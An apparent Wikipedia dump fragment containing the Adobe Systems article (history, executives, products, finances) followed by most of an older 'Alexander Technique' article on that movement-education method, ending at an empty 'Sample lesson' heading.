'''Adobe Systems''' ({{nasdaq|ADBE}}) ({{lse|ABS}}) is an [[United States|American]] [[computer]] [[Computer software|software]] company headquartered in [[San Jose, California]] that was founded in December 1982 by [[John Warnock]] and [[Charles Geschke]]. They founded Adobe after leaving [[Xerox PARC]] in order to further develop and commercialize the [[PostScript]] [[page description language]]. Adobe played a significant role in sparking the [[desktop publishing]] revolution when [[Apple Computer]] licensed PostScript for use in the [[LaserWriter]] [[computer printer|printer]] product line in 1985. The company name ''Adobe'' comes from the Adobe Creek, which ran behind the house of one of the company's founders.

In 2005, Adobe Systems had over 4,000 employees, at least half of whom were located in San Jose. Adobe also has major development operations in [[Seattle, Washington]]; [[Noida]], [[India]]; and [[Ottawa]], [[Canada]]. Minor Adobe development offices include a location near [[Minneapolis]], [[Minnesota]] and in [[Hamburg]], [[Germany]]. The 4,000 count was prior to the [[December 3]], [[2005]] merger with [[Macromedia]] of [[San Francisco, California|San Francisco]], [[California]].

==History==
[[Image:Adobe HQ.JPG|300px|thumb|right|Adobe Systems headquarters in San Jose]]
Adobe's first products following PostScript were digital [[Typeface|font]]s. Adobe has continued to be a strong presence in the fonts market: in 1996, the company, in combination with [[Microsoft]], announced the [[OpenType]] font format, and in 2003 Adobe completed the conversion of its library of [[Type 1 font]]s to OpenType.

In the mid-[[1980s]], soon after introducing PostScript, Adobe entered the consumer [[Computer software|software]] market with [[Adobe Illustrator]], a [[vector graphics|vector]]-based drawing program for the [[Apple Macintosh]]. Illustrator was the logical outgrowth of commercializing their in-house font-development software. Additionally, it helped popularize the use of PostScript-enabled [[laser printer]]s. Unlike [[MacDraw]] (then the standard Macintosh vector drawing program), Illustrator described all shapes with more flexible [[Bézier curve]]s, providing a level of accuracy not seen in other programs. Font rendering in Illustrator, however, was left to the Macintosh's [[QuickDraw]] libraries and would not be superseded by a PostScript-like approach until Adobe's own [[Adobe Type Manager]] software was introduced, preceding Apple's eventual adoption of [[TrueType]].

Although Illustrator was an excellent product and continues to be highly valued by the [[prepress]] industry, Adobe introduced what was to become its [[flagship]] product, [[Adobe Photoshop]] for the Macintosh, in 1989. Although Photoshop 1.0 had competitors, it was extremely stable and well-featured&amp;mdash;and Adobe had the resources to market it. The combination enabled Photoshop to soon dominate its market.

Arguably, one of Adobe's few missteps on the Macintosh platform was their failure to develop their own [[desktop publishing]] (DTP) program. Instead, [[Aldus]] with [[Adobe PageMaker|PageMaker]] in 1985 and [[Quark, Inc.|Quark]] with [[QuarkXPress]] in 1987 gained early leads in the DTP market. Adobe was also slow to address the emerging [[Microsoft Windows|Windows]] DTP market. In a classic failure to predict the direction of computing, Adobe released a complete version of Illustrator for [[Steve Jobs]]' ill-fated [[NeXT]] system, but a poorly produced version for Windows.

History has been kind to Adobe however, because the company always had licensing fees from the PostScript interpreter to fall back on, Adobe was able to simply outlast many of its rivals in the late 1980s and early [[1990s]], and, like [[Microsoft]], eventually acquired its main competitors or continued to improve its applications until they became industry standards. For reasons unknown, [[Corel]] never leveraged their [[CorelDraw]] product to do professional illustration&amp;mdash;users quietly derided it as something only office users would touch&amp;mdash;so when Illustrator was finally revamped for Windows, prepress users found it too good to ignore. Corel's interest in acquiring [[WordPerfect]] from [[Novell]] Corporation around this time may have proved to be a key distraction. In 1994, Adobe took over Aldus and acquired PageMaker and the [[TIFF]] file format; in 1995 they acquired the long-document DTP application [[FrameMaker]] from Frame Technologies.

Adobe's latest efforts are mainly centered on its [[Portable Document Format]] (PDF). Although sales of [[Adobe Acrobat]], which generates PDF files, were slow to start in the mid-1990s, Adobe continued to develop the product, perceiving its long-term potential for revenues. History has since shown this to be a wise investment. Adobe has also seen several ancillary benefits: PDF provides a common, high-quality data exchange infrastructure for its DTP applications.

Among open software advocates, some see Adobe as overly aggressive. This image was created with their decision to use an encrypted, proprietary format for their high-quality Type 1 fonts, thus allowing them to charge licensing fees for any other company that wanted to produce or use Type 1 fonts. The size of these fees was a factor in Apple's development of their own [[TrueType]] technology as well as Microsoft's decision to license TrueType from Apple. At the presentation at which TrueType was introduced, Adobe head Warnock followed TrueType talks from both Apple and Microsoft VPs, and was near tears as he said that they were being sold &quot;smoke.&quot; In fact, TrueType had definitive advantages: it provided not only full scalability, but also precise control of the pixel pattern created by the font's outlines. A few months later Adobe published the Type 1 specification, and soon released the &quot;Adobe Type Manager&quot; software, which allowed for [[WYSIWYG]] scaling of Type 1 fonts on screen, just like TrueType (though without the precise
pixel-level control). However, these moves were too late to stop the rise of TrueType, which quickly became the standard for business and the average Windows user, with Type 1 remaining the standard in the graphics/publishing market.

On [[2005-04-18]] Adobe Systems announced an agreement to acquire its former main rival [[Macromedia]] in a stock swap valued at about $3.4 billion on the last trading day before the announcement. The acquisition was consummated on [[2005-12-03]].

==Employees==
===Key employees===
{| width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|-
| colspan=&quot;2&quot; | '''Executive Board'''
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Charles Geschke|Charles M. Geschke]]
| Co-[[Chairman of the Board]]
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[John Warnock|John E. Warnock]]
| Co-Chairman of the Board
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Bruce R. Chizen]]
| [[CEO]], Director (2003 Compensation: $1,848,124 [[United States dollar|USD]])
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Shantanu Narayen]]
| President &amp; Chief Operating Officer (2003 Compensation: $879,247 [[United States dollar|USD]])
|- valign=&quot;top&quot;
| [[Murray J. Demo]]
| [[CFO]], [[SVP]] ([[2003]] Compensation: $777,753 [[United States dollar|USD]])
|-
|
|-
| colspan=&quot;2&quot; | '''Non Executive Board'''
|- valign=&quot;top&quot;
| width=&quot;150&quot; | Carol Mills
| Director (executive vice president and general manager, Infrastructure Products Group, Juniper Networks)
|- valign=&quot;top&quot;
| width=&quot;150&quot; | Mike R. Cannon
| Director (president, CEO and directors, Solectron Corp.)
|- valign=&quot;top&quot;
| width=&quot;150&quot; | James E. Daley
| Director (independent consultant, former [[CFO]] of Electronic Data Systems)
|- valign=&quot;top&quot;
| width=&quot;150&quot; | Colleen M. Pouliot
| Director (attorney, former [[SVP]] and general counsel of Adobe Systems)
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Robert Sedgewick (computer scientist)|Robert Sedgewick]]
| Director (computer science professor, [[Princeton University]])
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Del Yocam|Delbert W. Yocam]]
| Director (independent consultant, former chairman and CEO of [[Borland]])
|-
|
|-
| colspan=&quot;2&quot; | '''Senior Management'''
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Stephen Elop]]
| [[President]], Worldwide Field Operations
|- valign=&quot;top&quot;
| [[Karen O. Cottle]]
| [[SVP]], General Counsel, Secretary
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[James Heeger]]
| [[SVP]], Creative Professional Business Unit (2003 Compensation: $591,086 [[United States dollar|USD]])
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[John Brennan]]
| [[SVP]], Corporate Development
|- valign=&quot;top&quot;
| [[Melissa Dyrdahl]]
| [[SVP]], Corporate Marketing and Communications
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Bryan Lamkin]]
| [[SVP]], Creative Solutions (acting)
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Naresh Gupta]]
| [[SVP]], Print and Classic Publishing Solutions, &amp; Managing Director, India Research and Development
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Thomas Hale]]
| [[SVP]], Knowledge Wordker Solutions
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Kevin Lynch]]
| [[SVP]], Platforms
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Tom Malloy]]
| [[SVP]] and Chief Software Architect, Advanced Technology Labs
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[David Mendels]]
| [[SVP]], Enterprise and Developer Solutions
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Alan S. Ramadan]]
| [[SVP]], Mobile and Device Solutions
|- valign=&quot;top&quot;
| width=&quot;150&quot; | [[Kevin Burr]]
| [[VP]], Corporate Communications
|}

==Reputation==
In many circles Adobe is considered one of the most principled of the major software companies, and one that treats its large corporate customers and employees well, although customer service for smaller businesses and individuals has often received unfavorable press. Adobe has climbed [[Fortune magazine]]'s rankings as an outstanding place to work over the last several years (2001-03). Adobe was rated the fifth best American company to work for in 2003 and sixth best in 2004. Adobe was ineligible for Fortune's ranking in 2005 due to its major acquisition of Macromedia.

==Products==
&lt;!-- Don't include plugins or derivative products. Derivative products should be described on the root product's page. --&gt;
&lt;!-- Instead of listing each product like so, there should be a brief description of each product complemented by relevant financial data (not prices). --&gt;
{| width=&quot;600&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|-
| colspan=&quot;2&quot; | '''Current'''
|- valign=&quot;top&quot;
|
* [[Adobe Central Output Server]]
* [[Adobe Creative Suite]]
** [[Adobe Acrobat]]
** [[Adobe Bridge]]
** [[Adobe GoLive]]
** [[Adobe Illustrator]]
** [[Adobe InDesign]]
** [[Adobe Photoshop]] (includes: [[Adobe ImageReady]])
** [[Adobe Stock Photos]]
* [[Adobe Document Server]]
* [[Adobe Document Policy Server]]
* [[Adobe eBook Reader]]
* [[Adobe Fonts]]
* [[Adobe Form Manager]]
** [[Adobe Form Server]]
* [[Adobe FrameMaker]]
* [[Adobe InCopy]]
* [[Adobe LiveCycle Barcoded Forms]]
* [[Adobe LiveCycle Designer]]
* [[Adobe LiveCycle Document Security]]
* [[Adobe LiveCycle Reader Extensions]] (previously Document Server for Reader Extensions and other names)
* [[Adobe LiveCycle Forms]] (previously Form Server)
* [[Adobe LiveCycle Form Manager]]
* [[Adobe LiveCycle Policy Server]]
* [[Adobe LiveCycle Workflow]]
* [[Adobe Output Designer]]
* [[Adobe PageMaker]]
* [[Adobe PDF JobReady]]
* [[Adobe Photoshop Album]]
* [[Adobe Photoshop Album Starter Edition]]
* [[Adobe Photoshop Elements]]
* [[Adobe Premiere Elements]]
* [[Adobe Reader]]
* [[Adobe SVG Viewer]]
* [[Adobe Production Studio]]
** [[Adobe After Effects]]
** [[Adobe Audition]]
** [[Adobe Encore]]
** [[Adobe Premiere Pro]]
* [[Adobe Web Output Pak]]
* [[Digital Negative Specification]]
| colspan=&quot;2&quot; | '''Recently Acquired'''
*[[Macromedia Studio]]
*[[Macromedia Flash]]
*[[Macromedia Dreamweaver]]
*[[Macromedia Breeze]]
*[[Macromedia Flex]]
*[[Macromedia ColdFusion]]
*[[Macromedia Director]]
*[[Authorware#Macromedia Authorware|Macromedia Authorware]]
*[[Macromedia FreeHand]]
*[[Macromedia Fireworks]]
*[[Macromedia Contribute]]
*[[Macromedia Robohelp]]
*[[Macromedia Captivate]]
*[[Macromedia Shockwave]]
*[[Macromedia JRun]]
*[[Macromedia HomeSite]]
*[[Macromedia FlashPaper]]
*[[Fontographer|Macromedia Fontographer]]
*[[Macromedia Central]]
*[[Macromedia FlashCast]]
*[[Macromedia Web Publishing System]]
| colspan=&quot;2&quot; | '''Discontinued'''
* [[Adobe Atmosphere]]
* [[Adobe Dimensions]]
* [[Adobe InProduction]]
* [[Adobe LiveMotion]]
* [[Adobe PageMill]]
* [[Adobe Persuasion]]
* [[Adobe PhotoDeluxe]]
* [[Adobe PressReady]]
* [[Adobe PressWise]]
* [[Adobe SiteMill]]
* [[Adobe Streamline]]
* [[Adobe Transcript]]
* [[Adobe TrapWise]]
* [[Adobe Type Manager]] Deluxe
* [[Adobe TypeAlign]]
* [[Adobe TypeReunion]]
|}

==Financial information==
&lt;!-- Fact-check and display accurate data. Financial data is EASY to acquire. --&gt;
Adobe Systems entered [[NASDAQ]] in 1986. As of December 2004, Adobe's [[market capitalization]] is roughly $15 [[1 E9|billion]] [[United States dollar|USD]], and its shares are traded for $62 [[United States dollar|USD]]. Adobe's 2002 revenues were about $1.2 billion [[United States dollar|USD]].

On [[2005-04-18]], Adobe Systems announced its acquisition of [[Macromedia]] at $3.4 billion [[United States dollar|USD]].

*Press Releases:
**[http://www.adobe.com/aboutadobe/invrelations/adobeandmacromedia.html Adobe Press Release]
**[http://www.macromedia.com/macromedia/proom/pr/2005/adobe_macromedia.html Macromedia Press Release]
*News on that issue: &lt;!-- That issue? Define &quot;that issue&quot;. --&gt;
**[http://www.nytimes.com/2005/04/18/technology/18cnd-adobe.html New York Times]
**[http://www.usatoday.com/money/industries/technology/[[2005-04-18]]-adobe-macromedia_x.htm?csp=34 USA Today]
**[http://news.yahoo.com/news?tmpl=story&amp;u=/ap/20050418/ap_on_bi_ge/adobe_macromedia_9 Yahoo! Financial Report]

==See also==
*[[CoolType]]
*[[OpenType]]
*[[Portable Document Format|PDF]]
*[[PostScript]]

==External links==
*[http://www.adobe.com/ Adobe Systems, Inc.]
**[http://www.adobe.com/type Adobe Type Library]
** {{cite web
 | url =  http://www.adobe.com/aboutadobe/pressroom/pdfs/Adobe2004Timeline_101804fin.pdf
 | title = Adobe timeline
 | format = PDF
 }}
* {{cite web
 | title = Patents owned by Adobe Systems
 | work = US Patent &amp; Trademark Office
 | url = http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&amp;Sect2=HITOFF&amp;u=%2Fnetahtml%2Fsearch-adv.htm&amp;r=0&amp;p=1&amp;f=S&amp;l=50&amp;Query=an%2F%22Adobe+Systems%22&amp;d=ptxt
 | accessdate = December 8 | accessyear = 2005
 }}
&lt;!-- Merge into article. | *As of [[2003-11-15]], [[Adobe LiveMotion]] is no longer distributed. [http://www.adobe.com/products/livemotion/main.html] --&gt;

===Data===
* {{cite web
 | url = http://biz.yahoo.com/ic/12/12518.html
 | publisher = Yahoo!
 | title =  Adobe Systems Incorporated Company Profile
 }}

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[[Category:Companies based in California]]
[[Category:Companies listed on NASDAQ]]
[[Category:Computer companies of the United States]]
[[Category:Software companies]]
[[Category:Type foundries]]
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    </revision>
  </page>
  <page>
    <title>Alexander Technique</title>
    <id>1957</id>
    <revision>
      <id>39982003</id>
      <timestamp>2006-02-17T06:42:33Z</timestamp>
      <contributor>
        <username>AED</username>
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      <text xml:space="preserve">{{verify}}

The '''Alexander Technique'''  teaches how to recognize and overcome habituated limitations within a person's manner of movement. The Alexander Technique is usually learned from an ''Alexander teacher'' in one-to-one sessions by an ''Alexander student,'' using specialized hand contact and verbal instructions. The name denotes both the educational methods taught by ''Alexander teachers'' and the individual method practiced by teachers and students of the technique.
It takes its name from [[F. Matthias Alexander]] ([[1869]]&amp;ndash;[[1955]]), a former Shakespearean recitalist, who first observed and formulated its principles during [[1890]] &amp;ndash; [[1900]]. Alexander regarded the empirical scientific method to be the foundation of his work. He used self-observation and reasoning to make effortless the physical acts of every-day movement: sitting, standing, breathing, working with the hands and speaking. He designed his methods to make experimentation and training deliberately repeatable, and to learn in a way that would allow continuing improvement from any starting point.

F.M. Alexander trained teachers of his technique from [[1931]] until [[1955]] in London, UK and from [[1941]] to [[1943]] in Massachusetts, USA, together with his brother, A.R. Alexander ([[1874]]&amp;ndash;[[1947]]), who continued with the training of teachers in the USA until [[1945]]. During his lifetime, F.M. Alexander gained considerable support for his work, including [[John Dewey]], [[Aldous Huxley]], [[George Bernard Shaw]], and scientists [[Raymond Dart]], [[George E. Coghill]], [[Charles Sherrington]], and [[Nikolaas Tinbergen]].

= History =
'''F.M. Alexander''' was a Shakespearean orator who developed problems with his voice. Careful observation with multiple mirrors revealed that he needlessly stiffened his whole body in a particular habitual pattern in preparation to recite or speak. It took ten years of self-observation to successfully apply his original discoveries to solve his voice problem. Eventually, he fashioned a &quot;Technique&quot; to teach others to pass on his experience. His work continues today, extending in a lineage that has expanded from many lifetime dedications.

=The Technique=
==Basic Premises==
The Alexander Technique educates the student's sense of [[kinesthesia]] or [[proprioception]]. This sense is used to internally calibrate one's own bodily location, weight and to judge the effort necessary for moving.

Alexander Technique teachers believe that humans have a built-in proprioceptive blind spot; people become habituated to whatever they repeat. Repetitious circumstances lead people to create habits as they adapt and learn. These habits are both deliberate and non-deliberate responses that include physical movement patterns, coping and learning strategies. The advantage of adapting is that behavior and learning becomes simplified; it becomes possible to meet a given stimulus or interpretation of circumstances with a ready-made reaction. As a person adds one habit onto another, the disadvantage is they may train themselves to also repeat unintentional side effects - the tension, over-compensation and cumulative stress that the Alexander Technique addresses.

Adapting has a further serious drawback: ''habits disappear sensation.'' Using the habit decreases the importance of paying attention to perceptual differences. Also, sensory systems can flood from accommodating too many contradicting habits and intentions. From disuse or flooding, perceptual sensitivity shuts down and eventually become dull and untrustworthy, just as skin becomes numb if the same spot is rubbed for too long. Loss of perceptual awareness encourages mistaken interpretations for the need to choose a particular response. In a panic, all opposing habits can fire off at once, pulling in all directions, sometimes without the person noticing it has happened.

Because habits are designed to become innate, people will commonly experience no sensation of ''doing'' a successfully automated habit. Forgetting what they have trained themselves to now do without thinking, this drawback encourages people to feel convinced that whatever effort or ways they now use to move to respond is customary and necessary, even when it is far from normal. 

How our kinesthetic sense becomes untrustworthy from adapting to needless overcompensating is built into many innocent situations. For instance, if a person often carries a bag on their forearm, he will later find himself holding up his arm when the bag is not on it.  Misunderstanding a teacher's directions, a student may repeat what the teacher knows is unnecessary, but the teacher forgivingly allows the mistake to go by when he should not. A self-taught student may unknowingly adopt useless and later problematic mannerisms. If someone is afraid while learning, adapting can mean he will most likely continue doing the skill fearfully. If someone has healed from a temporary injury, a subtle wincing in anticipation of pain can be automatically continued indefinitely, even though pain has healed. Also due to rapid growth, teenagers often move their own bodies based on inaccurate assumptions of their size and structure.

According to Alexander teachers, few adults in Western culture retain their ability to move freely without needless self-imposed interference. Teachers find that most people assume that they &quot;must&quot; move in the only way they assume is possible. Given an unceasing cumulative demand that unnecessarily stresses the body’s structural design, the price as adults grow older can range from feelings of stress and resignation to very real physical problems, due to movement limitations that could be changed. According to those who teach Alexander Technique, most of the time, giving up a certain activity isn't necessary if a learner is ready to free specific habits that work against the body's structural design.

==Benefits==
As a technique addressing the entirety of a person's activity, the Alexander Technique aims to benefit people of all sorts. Its proponents, including many well known actors, musicians and educators believe that its practice results in improved awareness, objectivity and the connection between body and mind, ease of movement, improved balance, stamina and less muscular tension. Additionally, those who practice it often report that it gives them an enhanced ability to clarify their thinking, observations and the ability to choose new responses.
Proponents further see the technique as a way to use less effort for movement and thus perform more efficiently, feel easier, look more graceful and free themselves from unintentional self-imposed limitations.

It is applied both remedially and in the areas of performing arts and sports. It is taught in performance schools of dance, acting, circus, music, voice and some Olympic sports. Since Alexander Technique is suitable for those at any fitness level, it is also used as remedial movement education to complete recovery and provide pain management. Alexander Technique is a first-hand experience of the reality of body/mind unity. Its principles apply to psychology, creative thinking, learning theory and styles of coaching, training and effective communication for teachers and directors.

Although the Alexander Technique is considered by those in its field to be primarily educational, taught in a student/teacher relationship as compared to being a treatment regimen between client and practitioner, it is regarded by the [[National Health Service|United Kingdom National Health Service]] to offer an alternative and complementary management for many medical complaints. A partial list is: back problems, unlearning and avoiding [[Repetitive Strain Injury]], improving ergonomics, stuttering, speech training and voice loss, mobility for those with [[Parkinson's disease]], posture or balance problems, or to complete recovery from injury as an adjunct to [[Physical therapy]]. It is also been known to help performers with getting past the ''plateau'' effect (despite trying, no improvement,) performance anxiety, getting beyond a supposed &quot;lack of talent&quot; and to sharpen discrimination and description ability. It has also helped people control unwanted reactions, phobias and depression.
Of course, applications are very subjective and personal by nature; many testimonies exist on the Internet. See STAT link below for scientific studies. Note that Alexander Technique is regarded to be a helpful adjunct to traditional medical treatment regimens and not as a substitution for them.

==Reported Effects==
Students often describe the immediate effect of an ''Alexander lesson'' as both being unusual, and also strangely familiar. During hands-on lessons, pupils have reported an immediate feeling of a &quot;state of grace,&quot; despite their inability to evoke or sustain this state by themselves. Other reported experiences include hearing their own voice sounding different, feeling lighter or having a temporary disorientation of where their body is located spatially.

Though most students experience these perceptual paradoxes as feeling good, students are often admonished by teachers to regard their sensations as not worth trying to repeat. Students learn to avoid ''end-gaining,'' meaning, to resist going directly for results using one’s habit. Instead students are to allow themselves the room to use the deliberate new processes of experimenting proscribed by ''the Technique,'' called ''means whereby.'' For this reason students must continue practice of AT without expectation or reinforcement of ''feeling'' themselves changing, because their senses may not yet be awake enough to register the crucial subtle adjustments. Improved sensitivity can be trained or reawakened by sustained practice, but this takes patience. The learner may at different times still paradoxically experience both states; the unusual sensory effects described above during a progressive leap ahead; and a sense of nothing happening when gradual progress is, in fact, taking place.

Evidence of change is sought in verifiable outside feedback; using a mirror; by noting, comparing, or describing differences of the relative location of one's eyes, balance or weight changes; a change in the sound of one's voice or the effects on one’s objectives, props or environment. Alexander teachers have been educated to perceive, observe and articulate very subtle but crucial differences influencing motion, and they offer this education and feedback to their students.

Depending on the causes of limitations, structural posture may or may not improve, but freedom of motion should always improve during the lesson with a teacher. To take improvements away from the class, the dedication of later remembering to attentively experiment is required on the part of the learner. A willingness to experiment is key to gaining continuing results.

==Effective under what circumstances==
Remembering to use Alexander Technique to get its benefits is required, but not a special practice activity; merely an experimental, thinking moment while doing any other action. Of course, the longer these moments of awareness can be sustained, the greater the effect over time. Alexander Technique can be practiced while doing any other activity. Practice at any time while awake will result in its benefits. Curiosity, a willingness to experiment and recognition of gradual improvement are the attitudes that most effectively bring attention to the continuous possible choices of response that momentarily arise. Practice should be unnoticed by others due to the fact that it's an internal process of personal sensory experience.

Unlike many similar self-improvement regimens, the Alexander Technique is '''not''' a series of exercises. Rather, it teaches inter-related principles for human response, such as [[directions]], which are the governing characteristics of how people can use their own bodies easier to perform their objectives. Which motions, actions and criteria someone might apply for an activity that could benefit from practice will range from the most simple and mundane motions to the most strenuously demanding physical challenges.

==Disadvantages==
Alexander Technique may not be effective for everyone. It requires the student to work at a somewhat paradoxical goal that is, at first, based on the teacher's (or classmates') perception of success. Habits are often tied to self-image, emotions and cultural assumptions. The student must be willing and able to challenge the validity and criteria of their assumptions, judgments and motives. Because of this, the road of learning can be rocky. It's difficult to change that which cannot be perceived.

In rare occasions, undoing habits may trigger possibly unpleasant &quot;unresolved&quot; emotions that originally justified the habitual remedies, perhaps requiring additional professional help. Some ingrained habit patterns seem to have a sense of self-preservation that objects to its possible lack of importance.

There can be a time during mid-learning when the student can't yet reliably sustain the new ways of moving he prefers. What used to feel comfortable instead becomes experienced as an unpleasantly heavy, pressured sagging sensation. It's a stage where every posture the student can assume seems to have something wrong with it. Often the student constantly notices other people around them are always stiff and slumping. It seems that once the door to perception is open, there is no going back to unselfconsciousness. If the student feels he cannot continue lessons at this point, perhaps sampling a number of teachers from different teaching styles is advisable rather than quitting altogether.

Alexander Technique will not solve structural problems such as [[arthritis]] or alter bone structure. However, many adult students have reported a gaining an inch or so in height after a few months of regular lessons.

===Scientific Proof===
Proof the Alexander Technique works has only been verified in rare previous and current scientific research. But results in neuroscience and current movement gait lab research on the effects and function of body motion are promising. (See STAT links.) Meanwhile, UK medical communities recognize the effectiveness of the ''Technique,'' though is still often classified as pseudo-scientific in other countries.

===Learning time===
Progress in learning is unlimited, but commonly slow; often taking a significant commitment of months, even years of discipline. Most teachers consider twenty to forty lessons to be required for learning to use it personally.  Speed of learning seems to depend on the motivation to shed outdated habits, and the persistence of the learner to confront the power of their own habits with resolve, clear thinking and new responses. During daily lessons in a workshop environment, a rare fast learner can gain rapid functionality in a matter of a few weeks. The fastest learners are often people who are motivated by gaining freedom from chronic pain, or someone recovering from injury who can now again devote themselves to a beloved art or skill. The reason Alexander Technique takes so long to learn is because the kinesthetic sense is often the most &quot;taken for granted&quot; and habitually ingrained. The student is often without words for the qualities in themselves that are changing.

=Learning and Teaching=
Teachers train “pupils” in a personalized, living anatomy lesson. Most use a specialized hands-on technique of guided modeling to show what they mean. Even if only briefly for group classes, movement is guided with very light, one-on-one hand contact, usually about the student's head, neck and back. The value of effortlessness is advocated. Coaching the substitution of more appropriate, specific ways to detour limitations are also suggested. As anyone knows who has tried substitution strategies against a habit, there are often more complex paradoxes involved, because habits can be tricky. Alexander Technique addresses these concerns, tailoring how to establish personally constructive experimentation uniquely for each student.

Most commonly at the beginning of lessons, teachers may suggest activities that are routine, such as walking or sitting. For part of the lesson, some teachers have learners lie on a table, so the student can experience the principles in action without having to pay attention to maintaining balance, called ''table work.'' ''Working on oneself'' while lying semi-supine with knees up is taught to be used while taking a break during the student's workday. Depending on the student's purposes, the teacher might later suggest simulating a particularly stressful situation for using Alexander Technique under pressure, such as acting, public speaking, shouting or other demanding performance.

==Learning Environments==
Teaching methods vary; all have in common guided discovery of easier, more positive ways to carry intention into physical action and how to recognize and prevent outdated habits from derailing intended results. To begin lessons, there is no prerequisite level of fitness or movement ability. Alexander Technique is most often taught in private lessons. Group, shared lessons and workshops are recently becoming more common - especially as an adjunct to a specialized art, sport or skill and as required curriculum in music &amp; drama colleges.

Because the Alexander Technique can be taught and practiced during any activity, some teachers leave the choice of activity up to the student. Many Alexander teachers also have additional specialties; such as teaching children in grade school, [[Repetitive strain injury]] or pain management. Some teach Alexander Technique with an additional professional skill, such as being a speech or physical therapist or yoga teacher. ''AT'' may also be included as an adjunct to improve a sport, as in horsemanship, running or golf. However, the Alexander teacher does not need to be trained in the specific skill, sport or activity for its benefits to be experienced.

==Teacher Training==
Training for being a teacher of Alexander Technique involves more than 1600+ hours of classes over at least a three-year period. Teacher trainees must qualify to graduate; attendance is not a guarantee of becoming a teacher. Trainees are evaluated for the presence of a signature of effortlessness and freedom in themselves and the quality of their touch. Alexander Technique's unexpected poise should be an immediate shared fact for both teacher and student in every hands-on ''Alexander lesson.'' After qualifying, most professional teaching associations require continuing development courses.

The UK professional Alexander teaching organizations and some trained by them believe the public should beware of inadequately trained impostors, because there are no laws that require legal certification of AT teachers. The necessary skill to teach is impossible to &quot;fake&quot; - a fact obviously witnessed by those with the professional skill to see it in action but not by the general public. Regardless of what other ''body science'' or ''holistic therapy'' experience someone who claims Alexander Technique knowledge may have, if he has not qualified at a professional teacher-training course in an establishment approved by a recognized professional AT organization, he is not a certified professional Alexander teacher. Professional organizations generally advise checking references of any teacher you might consider studying with.

===The Importance Attached To Learning From An Alexander Teacher===
F.M. Alexander and his brother A.R. Alexander often stressed that ''The Technique'' could not be acquired without the active cognitive participation of a student and the help of a suitably qualified instructor trained in the hands-on technique, deceptive self awareness being the significant effect of ''sensory adaptation.'' Most Alexander teachers today agree, but F.M. and A.R. did it first alone. So theoretically it is possible to learn without a teacher, although some properly trained help obviates many common pitfalls.

Alexander Technique is difficult to describe and teach in words because it requires description of subjective kinesthetic sensations and momentary situations, as well as the ability to perceive them. Most people have little conscious awareness of kinesthetic sensation and not much to say if asked to describe what happens as they move. The possibility of moving in an easier way most often emerges as a surprise from underneath a learner's current sensory ability to command it on purpose. It is needlessly difficult to attempt to learn to apply the Alexander Technique for oneself simply by reading about it.

Most ''Alexander teachers'' are of the professional opinion that twenty to forty individual lessons are required to learn to use the Technique for yourself. Other teachers believe that group workshops are at least as effective as individual lessons, because camaraderie is supportive, and group teaching usually involves some individual hands-on &quot;turns&quot; directly with the teacher as the class watches. A few teachers believe it is entirely possible to learn and continue to experiment with the basic principles on one's own. Everyone in the field, including other students, agree that having at least a few one-to-one sessions with a trained teacher is useful to appreciate how AT works and to get the benefits it offers.

Availability of Alexander teachers is limited, except in the United Kingdom, where the profession is in the process of being included in the [[Complementary and alternative medicine]] of the [[National Health Service|UK National Health Service]]. Only a handful of teachers who were personally trained by the founder are still living. '''Alexander Technique''' has the lifetime dedication from less than five thousand teachers worldwide, usually grouped in associated professional societies.

Alexander teachers differ in teaching style. Differences in teaching approaches evolved as various teachers originated what they believed constituted more effective teaching.  Usually, a style of teaching is not just an imitation of training methods, but integrates many such personal lifetime discoveries. It's rare that a teacher can or will articulate the deliberate reasoning behind their teaching variations. Traditionalists believe that spending time on general intellectual concepts may encourage their student's misuse. These teachers may dodge discussions of principles until the student can have the conversation without their old habits of speaking.

==In-depth principles==
Many of the principles of Alexander Technique are unique concepts. As has been mentioned previously, human senses are built to adapt to continuous messages sent by the brain. '''Repetition makes perceptual sensation disappear'''. Keeping muscles contracted when they don't need to be used compares to leaving the kitchen light on continuously because it so often needs to be on - which is a waste of energy. This principle was originally called ''debauchery''. It was later referred to as ''sensory adaptation'' by behavioral scientists. To unlearn these habits, a prerequisite seems to be a willingness to welcome experimentation and unfamiliarity; what is new feels strange.

Another unique concept is a specialized use of the word ''Inhibition.'' Many Alexander teachers believe this concept to be the foundation of Alexander Technique. It is possible to learn to recognize and prevent a habitual patterned reaction and choose differently. As a carnivore stalking prey inhibits its natural urges in order to choose a deliberate leap for an effective attack, an unwanted habitual urge can be deliberately and strategically ''inhibited.'' Suggested practical means to effectively subvert a particular unwanted habit vary with each Alexander teacher's experience. Sidestepping, stalling, tricking, boring the old habitual solution - anything is fair game to get the old habit to disengage or entirely prevent it, leaving the freedom to try something different, something easier.

A stiffening of the neck in a startle response, head down and back narrowed was discovered by Alexander to be the source of his self-imposed limitations. To address these indirectly rather than fight them, he originated an action called [[Direction]] which is an ingredient of his principle of [[Primary Control]]. People who direct themselves visualize movement and mentally guide the flow of using force through their body. Rather than gunning the motor and muscling their way through an activity, people who direct use their mind to guide or envision their own coordinated dynamic expansion while moving. By doing so, the body's reflexive coordination seems to spontaneously recover from habit to gracefully handle the action by lengthening as if by itself.

The more inclusive principle of [[Primary Control]] shows the head's lightest initiation of moving is its structural balancing act, cradled at the top of the spine. By integrating attention, using direction and refusing habit, the whole body can follow any of the smallest initiation of motion with its own easiest qualities of movement. To the extent the learner can also pay attention to what they are doing, their suspended goal improves. Occasionally the result is a significant practical insight about the suspended goal, as refreshed senses give new sensory information.

===Sample lesson===
